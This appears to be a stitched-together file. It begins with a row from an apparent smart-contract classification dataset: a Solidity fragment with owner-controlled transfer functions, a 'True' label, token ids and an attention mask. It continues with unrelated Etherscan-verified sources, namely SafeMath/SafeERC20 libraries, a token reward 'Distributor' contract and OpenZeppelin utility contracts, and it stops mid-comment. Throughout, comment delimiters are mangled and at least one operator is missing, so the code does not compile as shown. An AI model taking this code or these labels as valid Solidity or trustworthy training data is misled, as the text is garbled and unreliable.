UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 arg_2 = 1000 ; function setarg_2 ( uint256 newarg_2 ) public onlyOwner { arg_2 = newarg_2 ; } function getarg_2 () public constant returns ( uint256 ) { return arg_2 ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 arg_2_input = 1000 ; function setarg_2_input ( uint256 newarg_2_input ) public onlyOwner { arg_2_input = newarg_2_input ; } function getarg_2_input () public constant returns ( uint256 ) { return arg_2_input ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 arg_3 = 1000 ; function setarg_3 ( uint256 newarg_3 ) public onlyOwner { arg_3 = newarg_3 ; } function getarg_3 () public constant returns ( uint256 ) { return arg_3 ; } // IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT uint256 arg_3_input = 1000 ; function setarg_3_input ( uint256 newarg_3_input ) public onlyOwner { arg_3_input = newarg_3_input ; } function getarg_3_input () public constant returns ( uint256 ) { return arg_3_input ; } address public User_1 = msg.sender ; address public User_2 ;// _User_2 ; address public User_3 ;// _User_3 ; address public User_4 ;// _User_4 ; address public User_5 ;// _User_5 ; IERC20Token public Securities_1 ;// _Securities_1 ; IERC20Token public Securities_2 ;// _Securities_2 ; IERC20Token public Securities_3 ;// _Securities_3 ; IERC20Token public Securities_4 ;// _Securities_4 ; IERC20Token public Securities_5 ;// _Securities_5 ; uint256 public Standard_1 ;// _Standard_1 ; uint256 public Standard_2 ;// _Standard_2 ; uint256 public Standard_3 ;// _Standard_3 ; uint256 public Standard_4 ;// _Standard_4 ; uint256 public Standard_5 ;// _Standard_5 ; function Admin_1 ( address _User_1 , IERC20Token _Securities_1 , uint256 _Standard_1 ) public onlyOwner { User_1 = _User_1 ; Securities_1 = _Securities_1 ; Standard_1 = _Standard_1 ; } function Admin_2 ( address _User_2 , IERC20Token _Securities_2 , uint256 _Standard_2 ) public onlyOwner { User_2 = _User_2 ; Securities_2 = _Securities_2 ; Standard_2 = _Standard_2 ; } function Admin_3 ( address _User_3 , IERC20Token _Securities_3 , uint256 _Standard_3 ) public onlyOwner { User_3 = _User_3 ; Securities_3 = _Securities_3 ; Standard_3 = _Standard_3 ; } function Admin_4 ( address _User_4 , IERC20Token _Securities_4 , uint256 _Standard_4 ) public onlyOwner { User_4 = _User_4 ; Securities_4 = _Securities_4 ; Standard_4 = _Standard_4 ; } function Admin_5 ( address _User_5 , IERC20Token _Securities_5 , uint256 _Standard_5 ) public onlyOwner { User_5 = _User_5 ; Securities_5 = _Securities_5 ; Standard_5 = _Standard_5 ; } // // function instruct_1 () public { require( msg.sender == User_1 ); require( Securities_1.transfer(User_1, Standard_1) ); require( arg_1 == arg_1_input ); require( arg_2 == arg_2_input ); require( arg_3 == arg_3_input ); } function instruct_2 () public { require( msg.sender == User_2 ); require( Securities_2.transfer(User_2, Standard_2) ); require( arg_1 == arg_1_input ); require( arg_2 == arg_2_input ); require( arg_3 == arg_3_input ); } function instruct_3 () public { require( msg.sender == User_3 ); require( Securities_3.transfer(User_3, Standard_3) ); require( arg_1 == arg_1_input ); require( arg_2 == arg_2_input ); require( arg_3 == arg_3_input ); } function instruct_4 () public { require( msg.sender == User_1 ); require( Securities_4.transfer(User_4, Standard_4) ); require( arg_1 == arg_1_input ); require( arg_2 == arg_2_input ); require( arg_3 == arg_3_input ); } function instruct_5 () public { require( msg.sender == User_1 ); require( Securities_5.transfer(User_5, Standard_5) ); require( arg_1 == arg_1_input ); require( arg_2 == arg_2_input ); require( arg_3 == arg_3_input ); } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2538, 1025, 8278, 29464, 11890, 11387, 18715, 2368, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 2270, 5377, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 19204, 7770, 4063, 1007, 2270, 5377, 5651, 1006, 21318, 3372, 5703, 1007, 1025, 3853, 21447, 1006, 4769, 19204, 7770, 4063, 1010, 4769, 5247, 2121, 1007, 2270, 5377, 5651, 1006, 21318, 3372, 3588, 1007, 1025, 3853, 4651, 1006, 4769, 2000, 1010, 21318, 3372, 19204, 2015, 1007, 2270, 5651, 1006, 22017, 2140, 3112, 1007, 1025, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 19204, 2015, 1007, 2270, 5651, 1006, 22017, 2140, 3112, 1007, 1025, 3853, 4651, 19699, 5358, 1006, 4769, 2013, 1010, 4769, 2000, 1010, 21318, 3372, 19204, 2015, 1007, 2270, 5651, 1006, 22017, 2140, 3112, 1007, 1025, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 19204, 2015, 1007, 1025, 2724, 6226, 1006, 4769, 25331, 19204, 7770, 4063, 1010, 4769, 25331, 5247, 2121, 1010, 21318, 3372, 19204, 2015, 1007, 1025, 1065, 3206, 28516, 1035, 5783, 1035, 1016, 1063, 4769, 3954, 1025, 3853, 28516, 1035, 5783, 1035, 1016, 1006, 1007, 2270, 1063, 3954, 1027, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 16913, 18095, 2069, 12384, 2121, 1006, 1007, 1063, 5478, 1006, 5796, 2290, 1012, 4604, 2121, 1027, 1027, 3954, 1007, 1025, 1035, 1025, 1065, 1013, 1013, 1999, 2951, 1013, 2275, 2951, 1013, 2131, 2951, 1013, 21318, 3372, 17273, 1013, 2270, 1013, 2069, 3954, 1013, 5377, 21318, 3372, 17788, 2575, 12098, 2290, 1035, 1015, 1027, 5775, 2683, 2487, 1025, 3853, 2275, 2906, 2290, 1035, 1015, 1006, 21318, 3372, 17788, 2575, 2047, 2906, 2290, 1035, 1015, 1007, 2270, 2069, 12384, 2121, 1063, 12098, 2290, 1035, 1015, 1027, 2047, 2906, 2290, 1035, 1015, 1025, 1065, 3853, 2131, 2906, 2290, 1035, 1015, 1006, 1007, 2270, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2709, 12098, 2290, 1035, 1015, 1025, 1065, 1013, 1013, 1999, 2951, 1013, 2275, 2951, 1013, 2131, 2951, 1013, 21318, 3372, 17273, 1013, 2270, 1013, 2069, 3954, 1013, 5377, 21318, 3372, 17788, 2575, 12098, 2290, 1035, 1015, 1035, 7953, 1027, 6694, 1025, 3853, 2275, 2906, 2290, 1035, 1015, 1035, 7953, 1006, 21318, 3372, 17788, 2575, 2047, 2906, 2290, 1035, 1015, 1035, 7953, 1007, 2270, 2069, 12384, 2121, 1063, 12098, 2290, 1035, 1015, 1035, 7953, 1027, 2047, 2906, 2290, 1035, 1015, 1035, 7953, 1025, 1065, 3853, 2131, 2906, 2290, 1035, 1015, 1035, 7953, 1006, 1007, 2270, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2709, 12098, 2290, 1035, 1015, 1035, 7953, 1025, 1065, 1013, 1013, 1999, 2951, 1013, 2275, 2951, 1013, 2131, 2951, 1013, 21318, 3372, 17273, 1013, 2270, 1013, 2069, 3954, 1013, 5377, 21318, 3372, 17788, 2575, 12098, 2290, 1035, 1016, 1027, 6694, 1025, 3853, 2275, 2906, 2290, 1035, 1016, 1006, 21318, 3372, 17788, 2575, 2047, 2906, 2290, 1035, 1016, 1007, 2270, 2069, 12384, 2121, 1063, 12098, 2290, 1035, 1016, 1027, 2047, 2906, 2290, 1035, 1016, 1025, 1065, 3853, 2131, 2906, 2290, 1035, 1016, 1006, 1007, 2270, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2709, 12098, 2290, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2021-08-12 / /** Submitted for verification at Etherscan.io on 2021-06-21 / /** Submitted for verification at Etherscan.io on 2021-06-09 / /** Submitted for verification at Etherscan.io on 2021-06-07 / // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transfer.selector, to, value) ); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } function safeApprove( IERC20 token, address spender, uint256 value ) internal { require( (value == 0) \|\| (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, value) ); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).add( value ); _callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).sub( value, "SafeERC20: decreased allowance below zero" ); _callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall( data, "SafeERC20: low-level call failed" ); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require( abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed" ); } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrrt(uint256 a) internal pure returns (uint256 c) { if (a > 3) { c = a; uint256 b = add(div(a, 2), 1); while (b < c) { c = b; b = div(add(div(a, b), b), 2); } } else if (a != 0) { c = 1; } } function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) { return div(mul(total_, percentage_), 1000); } function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) { return sub(total_, div(mul(total_, percentageToSub_), 1000)); } function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) { return div(mul(part_, 100), total_); } function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2); } function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) { return sqrrt(mul(multiplier_, payment_)); } function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) { return mul(multiplier_, supply_); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library Address { function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: value}( data ); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}( data ); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall( target, data, "Address: low-level static call failed" ); } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall( target, data, "Address: low-level delegate call failed" ); } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns (string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = "0"; _addr[1] = "x"; for (uint256 i = 0; i < 20; i++) { _addr[2 + i * 2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3 + i * 2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } interface IPolicy { function policy() external view returns (address); function renouncePolicy() external; function pushPolicy(address newPolicy_) external; function pullPolicy() external; } contract Policy is IPolicy { address internal _policy; address internal _newPolicy; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { _policy = msg.sender; emit OwnershipTransferred(address(0), _policy); } function policy() public view override returns (address) { return _policy; } modifier onlyPolicy() { require(_policy == msg.sender, "Ownable: caller is not the owner"); _; } function renouncePolicy() public virtual override onlyPolicy { emit OwnershipTransferred(_policy, address(0)); _policy = address(0); } function pushPolicy(address newPolicy_) public virtual override onlyPolicy { require( newPolicy_ != address(0), "Ownable: new owner is the zero address" ); _newPolicy = newPolicy_; } function pullPolicy() public virtual override { require(msg.sender == _newPolicy); emit OwnershipTransferred(_policy, _newPolicy); _policy = _newPolicy; } } interface ITreasury { function mintRewards(address _recipient, uint256 _amount) external; } contract Distributor is Policy { using SafeMath for uint256; using SafeERC20 for IERC20; /* ====== VARIABLES ====== / address public immutable ASG; address public immutable treasury; uint256 public immutable epochLength; uint256 public nextEpochBlock; mapping(uint256 => Adjust) public adjustments; / ====== STRUCTS ====== / struct Info { uint256 rate; // in ten-thousandths ( 5000 = 0.5% ) address recipient; } Info[] public info; struct Adjust { bool add; uint256 rate; uint256 target; } / ====== CONSTRUCTOR ====== / constructor( address _treasury, address _asg, uint256 _epochLength, uint256 _nextEpochBlock ) { require(_treasury != address(0)); treasury = _treasury; require(_asg != address(0)); ASG = _asg; epochLength = _epochLength; nextEpochBlock = _nextEpochBlock; } / ====== PUBLIC FUNCTIONS ====== / /* @notice send epoch reward to staking contract / function distribute() external returns (bool) { if (nextEpochBlock <= block.number) { nextEpochBlock = nextEpochBlock.add(epochLength); // set next epoch block // distribute rewards to each recipient for (uint256 i = 0; i < info.length; i++) { if (info[i].rate > 0) { ITreasury(treasury).mintRewards( // mint and send from treasury info[i].recipient, nextRewardAt(info[i].rate) ); adjust(i); // check for adjustment } } return true; } else { return false; } } / ====== INTERNAL FUNCTIONS ====== / /* @notice increment reward rate for collector / function adjust(uint256 _index) internal { Adjust memory adjustment = adjustments[_index]; if (adjustment.rate != 0) { if (adjustment.add) { // if rate should increase info[_index].rate = info[_index].rate.add(adjustment.rate); // raise rate if (info[_index].rate >= adjustment.target) { // if target met adjustments[_index].rate = 0; // turn off adjustment } } else { // if rate should decrease info[_index].rate = info[_index].rate.sub(adjustment.rate); // lower rate if (info[_index].rate <= adjustment.target) { // if target met adjustments[_index].rate = 0; // turn off adjustment } } } } / ====== VIEW FUNCTIONS ====== / /* @notice view function for next reward at given rate @param _rate uint @return uint / function nextRewardAt(uint256 _rate) public view returns (uint256) { return IERC20(ASG).totalSupply().mul(_rate).div(1000000); } /* @notice view function for next reward for specified address @param _recipient address @return uint / function nextRewardFor(address _recipient) public view returns (uint256) { uint256 reward; for (uint256 i = 0; i < info.length; i++) { if (info[i].recipient == _recipient) { reward = nextRewardAt(info[i].rate); } } return reward; } / ====== POLICY FUNCTIONS ====== / /* @notice adds recipient for distributions @param _recipient address @param _rewardRate uint / function addRecipient(address _recipient, uint256 _rewardRate) external onlyPolicy { require(_recipient != address(0)); info.push(Info({recipient: _recipient, rate: _rewardRate})); } /* @notice removes recipient for distributions @param _index uint @param _recipient address / function removeRecipient(uint256 _index, address _recipient) external onlyPolicy { require(_recipient == info[_index].recipient); info[_index].recipient = address(0); info[_index].rate = 0; } /* @notice set adjustment info for a collector's reward rate @param _index uint @param _add bool @param _rate uint @param _target uint */ function setAdjustment( uint256 _index, bool _add, uint256 _rate, uint256 _target ) external onlyPolicy { adjustments[_index] = Adjust({add: _add, rate: _rate, target: _target}); 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/** Submitted for verification at Etherscan.io on 2021-10-28 / // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. / library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /* * @dev Converts a `uint256` to its ASCII `string` decimal representation. / function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. / function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. / function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor() { _setOwner(_msgSender()); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ / function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /* * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. / interface IERC721Receiver { /* * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via 